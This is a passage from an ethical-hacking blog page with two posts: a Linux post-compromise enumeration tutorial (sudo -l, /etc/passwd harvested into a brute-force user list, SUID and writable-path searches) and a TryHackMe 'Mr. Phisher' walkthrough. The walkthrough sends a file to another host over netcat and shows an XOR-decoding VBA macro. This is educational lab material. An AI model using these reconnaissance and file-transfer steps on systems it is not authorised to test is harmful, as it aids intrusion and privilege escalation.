-->

ABOUT US

Our development agency is committed to providing you the best service.

OUR TEAM

The awesome people behind our brand ... and their life motto.

  • Kumar Atul Jaiswal

    Ethical Hacker

    Hacking is a Speed of Innovation And Technology with Romance.

  • Kumar Atul Jaiswal

    CEO Of Hacking Truth

    Loopholes are every major Security,Just need to Understand it well.

  • Kumar Atul Jaiswal

    Web Developer

    Techonology is the best way to Change Everything, like Mindset Goal.

OUR SKILLS

We pride ourselves with strong, flexible and top notch skills.

Marketing

Development 90%
Design 80%
Marketing 70%

Websites

Development 90%
Design 80%
Marketing 70%

PR

Development 90%
Design 80%
Marketing 70%

ACHIEVEMENTS

We help our clients integrate, analyze, and use their data to improve their business.

150

GREAT PROJECTS

300

HAPPY CLIENTS

650

COFFEES DRUNK

1568

FACEBOOK LIKES

STRATEGY & CREATIVITY

Phasellus iaculis dolor nec urna nullam. Vivamus mattis blandit porttitor nullam.

PORTFOLIO

We pride ourselves on bringing a fresh perspective and effective marketing to each project.

Showing posts with label penetration testing. Show all posts
Showing posts with label penetration testing. Show all posts
  • All about Enumeration

     

    All about Enumeration



    Enumeration is the first step you have to take once you gain access to any system. You may have accessed the system by exploiting a critical vulnerability that resulted in root-level access or just found a way to send commands using a low privileged account. Penetration testing engagements, unlike CTF machines, don't end once you gain access to a specific system or user privilege level.
    As you will see, enumeration is as important during the post-compromise phase as it is before.



    hostname


    The hostname command will return the hostname of the target machine. Although this value can easily be changed or have a
    relatively meaningless string (e.g. Ubuntu-3487340239), in some cases, it can provide information about the target system’s
    role within the corporate network (e.g. SQL-PROD-01 for a production SQL server).



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ hostname              
    KumarAtulJaiswal
                                                                                                                                                                            
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    
    


    uname -a


    Will print system information giving us additional detail about the kernel used by the system. This will be useful when searching for any potential kernel vulnerabilities that could lead to privilege escalation.


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ uname -a
    Linux KumarAtulJaiswal 5.18.0-kali2-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali1 (2022-06-20) x86_64 GNU/Linux
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    
    



    /proc/version


    The proc filesystem (procfs) provides information about the target system processes. You will find proc on many different Linux
    flavours, making it an essential tool to have in your arsenal.


    Looking at /proc/version may give you information on the kernel version and additional data such as whether a compiler (e.g. GCC)
    is installed.


                                                                                                                                                                 
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ cat /proc/version                                       
    Linux version 5.18.0-kali2-amd64 (devel@kali.org) (gcc-11 (Debian 11.3.0-3) 11.3.0, GNU ld (GNU Binutils for Debian) 2.38) #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali1 (2022-06-20)
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    
    



    /etc/issue


    Systems can also be identified by looking at the /etc/issue file. This file usually contains some information about the operating system but can easily be customized or changes. While on the subject, any file containing system information can be customized or changed. For a clearer understanding of the system, it is always good to look at all of these.


                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ cat /etc/issue     
    Kali GNU/Linux Rolling \n \l
    
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    
    
    

    ps Command


    The ps command is an effective way to see the running processes on a Linux system. Typing ps on your terminal will show processes for the current shell.

    The output of the ps (Process Status) will show the following:


    • PID: The process ID (unique to the process)
    • TTY: Terminal type used by the user
    • Time: Amount of CPU time used by the process (this is NOT the time this process has been running for)
    • CMD: The command or executable running (will NOT display any command line parameter)



    The “ps” command provides a few useful options.

    • ps -A: View all running processes
    • ps axjf: View process tree (see the tree formation until ps axjf is run below)


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ ps aux                
    USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
    root           1  0.0  0.2 167472  9832 ?        Ss   11:06   0:02 /sbin/init splash
    root           2  0.0  0.0      0     0 ?        S    11:06   0:00 [kthreadd]
    root           3  0.0  0.0      0     0 ?        I<   11:06   0:00 [rcu_gp]
    root           4  0.0  0.0      0     0 ?        I<   11:06   0:00 [rcu_par_gp]
    root           5  0.0  0.0      0     0 ?        I<   11:06   0:00 [netns]
    root           7  0.0  0.0      0     0 ?        I<   11:06   0:00 [kworker/0:0H-events_highpri]
    root           9  0.0  0.0      0     0 ?        I<   11:06   0:02 [kworker/0:1H-events_highpri]
    root          10  0.0  0.0      0     0 ?        I<   11:06   0:00 [mm_percpu_wq]
    root          11  0.0  0.0      0     0 ?        I    11:06   0:00 [rcu_tasks_kthread]
    root          12  0.0  0.0      0     0 ?        I    11:06   0:00 [rcu_tasks_rude_kthread]
    root          13  0.0  0.0      0     0 ?        I    11:06   0:00 [rcu_tasks_trace_kthread]
    root          14  0.0  0.0      0     0 ?        S    11:06   0:01 [ksoftirqd/0]
    root          15  0.1  0.0      0     0 ?        I    11:06   0:22 [rcu_preempt]
    root          16  0.0  0.0      0     0 ?        S    11:06   0:00 [migration/0]
    
    


     

    env


    The env command will show environmental variables.

     

                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ env                                                                                                                      
    COLORFGBG=15;0
    COLORTERM=truecolor
    COMMAND_NOT_FOUND_INSTALL_PROMPT=1
    DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
    DESKTOP_SESSION=lightdm-xsession
    DISPLAY=:0.0
    DOTNET_CLI_TELEMETRY_OPTOUT=1
    GDMSESSION=lightdm-xsession
    GDM_LANG=en_IN.utf8
    GTK_MODULES=gail:atk-bridge
    HOME=/home/hackerboy
    LANG=en_IN
    LANGUAGE=en_IN:en
    LOGNAME=hackerboy
    PANEL_GDK_CORE_DEVICE_EVENTS=0
    PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
    POWERSHELL_TELEMETRY_OPTOUT=1
    POWERSHELL_UPDATECHECK=Off
    PWD=/home/hackerboy
    QT_ACCESSIBILITY=1
    QT_AUTO_SCREEN_SCALE_FACTOR=0
    QT_QPA_PLATFORMTHEME=qt5ct
    SESSION_MANAGER=local/KumarAtulJaiswal:@/tmp/.ICE-unix/1092,unix/KumarAtulJaiswal:/tmp/.ICE-unix/1092
    SHELL=/usr/bin/zsh
    SSH_AGENT_PID=1147
    SSH_AUTH_SOCK=/tmp/ssh-XXXXXXAg7KOV/agent.1092
    TERM=xterm-256color
    USER=hackerboy
    WINDOWID=0
    XAUTHORITY=/home/hackerboy/.Xauthority
    XDG_CONFIG_DIRS=/etc/xdg
    XDG_CURRENT_DESKTOP=XFCE
    XDG_DATA_DIRS=/usr/share/xfce4:/usr/local/share/:/usr/share/:/usr/share
    XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/hackerboy
    XDG_MENU_PREFIX=xfce-
    XDG_RUNTIME_DIR=/run/user/1000
    XDG_SEAT=seat0
    XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0
    XDG_SESSION_CLASS=user
    XDG_SESSION_DESKTOP=lightdm-xsession
    XDG_SESSION_ID=3
    XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0
    XDG_SESSION_TYPE=x11
    XDG_VTNR=7
    _JAVA_OPTIONS=-Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
    SHLVL=1
    OLDPWD=/home/hackerboy
    LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
    LESS_TERMCAP_mb=
    LESS_TERMCAP_md=                                                                                                                                                       
    LESS_TERMCAP_me=                                                                                                                                                       
    LESS_TERMCAP_so=
    LESS_TERMCAP_se=                                                                                                                                                       
    LESS_TERMCAP_us=
    LESS_TERMCAP_ue=                                                                                                                                                       
    _=/usr/bin/env
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    


    The PATH variable may have a compiler or a scripting language (e.g. Python) that could be used to run code on the target system or leveraged for privilege escalation.



    sudo -l


    The target system may be configured to allow users to run some (or all) commands with root privileges. The sudo -l command can be
    used to list all commands your user can run using sudo.




                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ sudo -l                        
    [sudo] password for hackerboy: 
    Matching Defaults entries for hackerboy on KumarAtulJaiswal:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
    
    User hackerboy may run the following commands on KumarAtulJaiswal:
        (ALL : ALL) ALL
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    


    ls


    One of the common commands used in Linux is probably ls.


    While looking for potential privilege escalation vectors, please remember to always use the ls command with the -la parameter.
    The example below shows how the “secret.txt” file can easily be missed using the ls or ls -l commands.



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ ls    
    check.txt  id_rsa.txt
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ ls -la
    total 24
    drwxr-xr-x   2 hackerboy hackerboy  4096 May 11  2022 .
    drwxr-xr-x 138 hackerboy hackerboy 12288 Dec 27 14:35 ..
    -rwxrwxrwx   1 hackerboy hackerboy   666 Oct 15  2020 check.txt
    -rwxrwxrwx   1 hackerboy hackerboy  1674 Oct 15  2020 id_rsa.txt
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ 
    
    
    
    
    
    

    Id


    The id command will provide a general overview of the user’s privilege level and group memberships.
    It is worth remembering that the id command can also be used to obtain the same information for another user as seen below.


                                                                                                                                                                          
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ id      
    uid=1000(hackerboy) gid=1000(hackerboy) groups=1000(hackerboy),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(bluetooth),121(wireshark),134(scanner),142(kaboxer)
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ 
    
    
    
    

    /etc/passwd


    Reading the /etc/passwd file can be an easy way to discover users on the system.


                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ cat /etc/passwd
    root:x:0:1:root:/root:/usr/bin/zsh
    daemon:x:1:0:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:0:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    
    


    While the output can be long and a bit intimidating, it can easily be cut and converted to a useful list for brute-force attacks.


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ cat /etc/passwd | cut -d ":" -f 1
    root
    daemon
    bin
    sys
    sync
    games
    man
    lp
    
    


    Remember that this will return all users, some of which are system or service users that would not be very useful. Another approach could be to grep for “home” as real users will most likely have their folders under the “home” directory. 


                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ cat /etc/passwd | grep home       
    hackerboy:x:1000:1000:hackerboy,,,:/home/hackerboy:/usr/bin/zsh
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ 
    
    



    history


    Looking at earlier commands with the history command can give us some idea about the target system and, albeit rarely,
    have stored information such as passwords or usernames.



    ifconfig


    The target system may be a pivoting point to another network. The ifconfig command will give us information about the network
    interfaces of the system. The example below shows the target system has three interfaces (eth0, tun0, and tun1). Our attacking
    machine can reach the eth0 interface but can not directly access the two other networks.


    This can be confirmed using the ip route command to see which network routes exist. 


                                                                                                                                                                          
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ ip route
    default via 192.168.13.125 dev usb0 proto dhcp src 192.168.13.51 metric 100 
    192.168.13.0/24 dev usb0 proto kernel scope link src 192.168.13.51 metric 100 
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ 
    
    
    
    

    netstat



    Following an initial check for existing interfaces and network routes, it is worth looking into existing communications. The netstat command can be used with several different options to gather information on existing connections.


    • netstat -a: shows all listening ports and established connections.
    • netstat -at or netstat -au can also be used to list TCP or UDP protocols respectively.
    • netstat -l: list ports in “listening” mode. These ports are open and ready to accept incoming connections. This can be used with the “t” option to list only ports that are listening using the TCP protocol (below).


                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ netstat -lt
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State      
    tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN     
    tcp6       0      0 [::]:ssh                [::]:*                  LISTEN     
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    
    


    netstat -s: list network usage statistics by protocol (below) This can also be used with the -t or -u options to limit the output to a specific protocol.


                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ netstat -s 
    Ip:
        Forwarding: 2
        32791 total packets received
        2 with invalid addresses
        0 forwarded
        0 incoming packets discarded
        32782 incoming packets delivered
        29047 requests sent out
    Icmp:
        0 ICMP messages received
        0 input ICMP message failed
        ICMP input histogram:
        0 ICMP messages sent
        0 ICMP messages failed
        ICMP output histogram:
    Tcp:
        423 active connection openings
        0 passive connection openings
        2 failed connection attempts
        2 connection resets received
        10 connections established
        21178 segments received
        20463 segments sent out
        94 segments retransmitted
        4 bad segments received
        674 resets sent
    Udp:
        11606 packets received
        0 packets to unknown port received
        0 packet receive errors
        10177 packets sent
        0 receive buffer errors
        0 send buffer errors
    UdpLite:
    TcpExt:
        184 TCP sockets finished time wait in fast timer
        2 packetes rejected in established connections because of timestamp
        213 delayed acks sent
        Quick ack mode was activated 33 times
        9166 packet headers predicted
        1752 acknowledgments not containing data payload received
        1803 predicted acknowledgments
        TCPSackRecovery: 3
        Detected reordering 14 times using SACK
        1 congestion windows fully recovered without slow start
        TCPDSACKUndo: 2
        TCPLostRetransmit: 1
        3 fast retransmits
        TCPTimeouts: 11
        TCPLossProbes: 82
        TCPLossProbeRecovery: 10
        TCPDSACKOldSent: 33
        TCPDSACKOfoSent: 12
        TCPDSACKRecv: 45
        94 connections reset due to unexpected data
        2 connections reset due to early user close
        TCPDSACKIgnoredNoUndo: 24
        TCPSackShiftFallback: 31
        TCPRcvCoalesce: 4786
        TCPOFOQueue: 5029
        TCPOFOMerge: 12
        TCPChallengeACK: 4
        TCPSYNChallenge: 4
        TCPAutoCorking: 38
        TCPSynRetrans: 9
        TCPOrigDataSent: 5683
        TCPHystartDelayDetect: 1
        TCPHystartDelayCwnd: 320
        TCPACKSkippedPAWS: 1
        TCPKeepAlive: 292
        TCPDelivered: 5862
        TCPAckCompressed: 1018
        TCPDSACKRecvSegs: 45
    IpExt:
        InOctets: 34605350
        OutOctets: 14722497
        InNoECTPkts: 32749
        InECT0Pkts: 42
    MPTcpExt:
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    


     

    netstat -tp: list connections with the service name and PID information.


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ netstat -tp
    (Not all processes could be identified, non-owned process info
     will not be shown, you would have to be root to see it all.)
    Active Internet connections (w/o servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
    tcp        0      0 192.168.63.167:34046    bom12s20-in-f9.1e:https ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:50054    server-18-161-111:https ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:55010    bom12s20-in-f9.1e:https ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:48406    233.90.160.34.bc.:https ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:38404    ec2-35-174-127-31:https ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:43460    104.22.54.228:https     ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:32888    104.22.54.228:https     ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:43446    104.22.54.228:https     ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:44862    ec2-3-225-70-247.:https ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:38596    bom12s20-in-f9.1e:https ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:36350    ec2-100-20-114-17:https ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:57030    201.181.244.35.bc:https ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:50894    23.58.120.34.bc.g:https ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:58606    104.22.54.228:https     ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:34198    ec2-35-174-127-31:https ESTABLISHED 1803/firefox-esr    
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    
    


    This can also be used with the -l option to list listening ports (below)


                                                                                                                                                                          
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ netstat -ltp
    (Not all processes could be identified, non-owned process info
     will not be shown, you would have to be root to see it all.)
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
    tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN      -                   
    tcp6       0      0 [::]:ssh                [::]:*                  LISTEN      -                   
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    
    


    We can see the “PID/Program name” column is empty as this process is owned by another user.

    Below is the same command run with root privileges and reveals this information as 2641/nc (netcat)


    netstat -i: Shows interface statistics. We see below that “eth0” and “tun0” are more active than “tun1


                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ netstat -i   
    Kernel Interface table
    Iface      MTU    RX-OK RX-ERR RX-DRP RX-OVR    TX-OK TX-ERR TX-DRP TX-OVR Flg
    eth0      1500        0      0      0 0             0      0      0      0 BMU
    lo       65536        4      0      0 0             4      0      0      0 LRU
    usb0      1500    36151      0      0 0         38299      0      0      0 BMRU
    wlan0     1500        0      0      0 0             0      0      0      0 BMU
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    



    The netstat usage you will probably see most often in blog posts, write-ups, and courses is netstat -ano which could be broken down as follows;

    •     -a: Display all sockets
    •     -n: Do not resolve names
    •     -o: Display timers


                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ netstat -ano
    Active Internet connections (servers and established)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer
    tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      off (0.00/0/0)
    tcp        0      0 192.168.63.167:50054    18.161.111.125:443      TIME_WAIT   timewait (4.61/0/0)
    tcp        0      0 192.168.63.167:55010    142.251.42.41:443       ESTABLISHED off (0.00/0/0)
    tcp        0      0 192.168.63.167:48406    34.160.90.233:443       TIME_WAIT   timewait (5.55/0/0)
    
    



     

    find Command


    Searching the target system for important information and potential privilege escalation vectors can be fruitful. The built-in “find” command is useful and worth keeping in your arsenal.

    Below are some useful examples for the “find” command.



    Find files:

    •     find . -name flag1.txt: find the file named “flag1.txt” in the current directory
    •     find /home -name flag1.txt: find the file names “flag1.txt” in the /home directory
    •     find / -type d -name config: find the directory named config under “/”
    •     find / -type f -perm 0777: find files with the 777 permissions (files readable, writable, and executable by all users)
    •     find / -perm a=x: find executable files
    •     find /home -user frank: find all files for user “frank” under “/home”
    •     find / -mtime 10: find files that were modified in the last 10 days
    •     find / -atime 10: find files that were accessed in the last 10 day
    •     find / -cmin -60: find files changed within the last hour (60 minutes)
    •     find / -amin -60: find files accesses within the last hour (60 minutes)
    •     find / -size 50M: find files with a 50 MB size


    This command can also be used with (+) and (-) signs to specify a file that is larger or smaller than the given size.


                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ find / -size +100M                
    /home/hackerboy/Videos/3.mp4
    /home/hackerboy/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Browser/libxul.so
    /home/hackerboy/Documents/OSCP-machine/Hack_Me_Please.rar
    /home/hackerboy/Documents/OSCP-machine/Ubuntu_CTF.ova
    /home/hackerboy/Documents/sql/rockyou.txt
    /home/hackerboy/Documents/iMaHackerBoY/new/osf.exe
    /home/hackerboy/Documents/iMaHackerBoY/new/Hacking-All-books-PDF/Nmap Network Scanning_ The Official Nmap Project Guide to Network Discovery and Security Scanning ( PDFDrive.com ).pdf
    find: ‘/proc/3159/ns’: Permission denied
    find: ‘/proc/3166/task/3166/fd’: Permission denied
    find: ‘/proc/3166/task/3166/fdinfo’: Permission denied
    find: ‘/proc/3166/task/3166/ns’: Permission denied
    find: ‘/proc/3166/fd’: Permission denied
    find: ‘/proc/3166/map_files’: Permission denied
    find: ‘/proc/3166/fdinfo’: Permission denied
    find: ‘/proc/3166/ns’: Permission denied
    find: ‘/proc/3221/task/3221/fd’: Permission denied
    find: ‘/proc/3221/task/3221/fdinfo’: Permission denied
    find: ‘/proc/3221/task/3221/ns’: Permission denied
    find: ‘/proc/3221/fd’: Permission denied
    find: ‘/proc/3221/map_files’: Permission denied
    find: ‘/proc/3221/fdinfo’: Permission denied
    find: ‘/proc/3221/ns’: Permission denied
    find: ‘/proc/3222/task/3222/fd’: Permission denied
    find: ‘/proc/3222/task/3222/fdinfo’: Permission denied
    find: ‘/proc/3222/task/3222/ns’: Permission denied
    find: ‘/proc/3222/fd’: Permission denied
    find: ‘/proc/3222/map_files’: Permission denied
    find: ‘/proc/3222/fdinfo’: Permission denied
    find: ‘/proc/3222/ns’: Permission denied
    find: ‘/proc/3316/task/3316/fd/5’: No such file or directory
    find: ‘/proc/3316/task/3316/fdinfo/5’: No such file or directory
    find: ‘/proc/3316/fd/6’: No such file or directory
    find: ‘/proc/3316/fdinfo/6’: No such file or directory
    find: ‘/.cache’: Permission denied
    /usr/share/burpsuite/burpsuite.jar
    
    
    


    The example above returns files that are larger than 100 MB. It is important to note that the “find” command tends to generate errors which sometimes makes the output hard to read. This is why it would be wise to use the “find” command with “-type f 2>/dev/null” to redirect errors to “/dev/null” and have a cleaner output (below).


                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ find / -size +100M -type f 2>/dev/null
    /home/hackerboy/Videos/3.mp4
    /home/hackerboy/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Browser/libxul.so
    /home/hackerboy/Documents/OSCP-machine/Hack_Me_Please.rar
    /home/hackerboy/Documents/OSCP-machine/Ubuntu_CTF.ova
    /home/hackerboy/Documents/sql/rockyou.txt
    /home/hackerboy/Documents/iMaHackerBoY/new/osf.exe
    /home/hackerboy/Documents/iMaHackerBoY/new/Hacking-All-books-PDF/Nmap Network Scanning_ The Official Nmap Project Guide to Network Discovery and Security Scanning ( PDFDrive.com ).pdf
    /home/hackerboy/Documents/iMaHackerBoY/new/kali/Nmap Network Scanning_ The Official Nmap Project Guide to Network Discovery and Security Scanning ( PDFDrive.com ).pdf
    /home/hackerboy/Documents/rockyou.txt
    /home/hackerboy/Documents/import/rainbow table/winrtgen/md5_alpha-numeric#1-7_0_2400x40000000_oxid#000.rt
    /home/hackerboy/Documents/import/cerified website for CEH/Nmap Network Scanning_ The Official Nmap Project Guide to Network Discovery and Security Scanning ( PDFDrive.com ).pdf
    
    


    Folders and files that can be written to or executed from:

    •     find / -writable -type d 2>/dev/null : Find world-writeable folders
    •     find / -perm -222 -type d 2>/dev/null: Find world-writeable folders
    •     find / -perm -o w -type d 2>/dev/null: Find world-writeable folders


    The reason we see three different “find” commands that could potentially lead to the same result can be seen in the manual document. As you can see below, the perm parameter affects the way “find” works.

    •     find / -perm -o x -type d 2>/dev/null : Find world-executable folders


    Find development tools and supported languages:

    •     find / -name perl*
    •     find / -name python*
    •     find / -name gcc*


    Find specific file permissions:

    Below is a short example used to find files that have the SUID bit set. The SUID bit allows the file to run with the privilege level of the account that owns it, rather than the account which runs it. This allows for an interesting privilege escalation path,we will see in more details on task 6. The example below is given to complete the subject on the “find” command.

    •     find / -perm -u=s -type f 2>/dev/null: Find files with the SUID bit, which allows us to run the file with a higher privilege level than the current user.


    General Linux Commands


    As we are in the Linux realm, familiarity with Linux commands, in general, will be very useful. Please spend some time getting comfortable with commands such as find, locate, grep, cut, sort, etc.




    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

     

  • Tryhackme Embedded Marcos in Word Mr. Phisher Walkthrough

     

    Tryhackme Embedded Marcos in Word Mr. Phisher Walkthrough

     

     

    We'll be looking at a tryhackme room called MrPhisher so it says that i received a suspicious email with a very weird looking attachment it keeps on asking me to enable Macros what are those so this straight away gives us a hint that we are going to deal with Macros So, Macros is a type of scripting language that you know you can embed in a excel or a word file so that it can even try to automate things to an extent so nothing challenging it just says that files you need are located in the home ubuntu MrPhisher on virtual machine and i have the vm(virtual machine) open up right here.
     

     

    When we start the machine, we found two files in home directory. “MrPhisher.docm” is a document with the ability to run macros and the zip file has the same file but compressed.

     

     

     

    Tryhackme Embedded Marcos in Word Mr. Phisher Walkthrough
     

     

    If we try to get open the file, we see the document indeed contain macros.

     

    Tryhackme Embedded Marcos in Word Mr. Phisher Walkthrough

     


    The document shows this one image.


    Now, to view and edit macros using Libre Office, go to Tools menu, choose Macros > Edit Macros. This opens a list of macros available in the currently open document.


    Tryhackme Embedded Marcos in Word Mr. Phisher Walkthrough



    Tryhackme Embedded Marcos in Word Mr. Phisher Walkthrough



    This macro contains a visual basic script...

     

    If you want copy this file in your loca;l machine then you can try this with netcat, To make easy the analysis and be able to download needed tools, I transferred the file to my local machine with netcat.

     

    Local machine:


    nc -nlvp <PORT> > MrPhisher.docm


    Remote machine:


    Setting listener and getting file.

    nc <IP> <PORT> < MyPhisher.docm



    As a note, is important to verify the integrity of the transferred file, in previous images you can see I checked MD5 hash, and it’s the same.

    via md5sum

    md5sum MrPhisher.docm
     


    But we will use into vm direct.. this code is here...

     

     

     

    Rem Attribute VBA_ModuleType=VBAModule
    Option VBASupport 1
    
    Sub Format()
    
    Dim a()
    
    Dim b As String
    
    a = Array(102, 109, 99, 100, 127, 100, 53, 62, 105, 57, 61, 106, 62, 62, 55, 110, 113, 114, 118, 39, 36, 118, 47, 35, 32, 125, 34, 46, 46, 124, 43, 124, 25, 71, 26, 71, 21, 88)
    
    For i = 0 To UBound(a)
    
    b = b & Chr(a(i) Xor i)
    
    Next
    
    End Sub
    

     

     

     

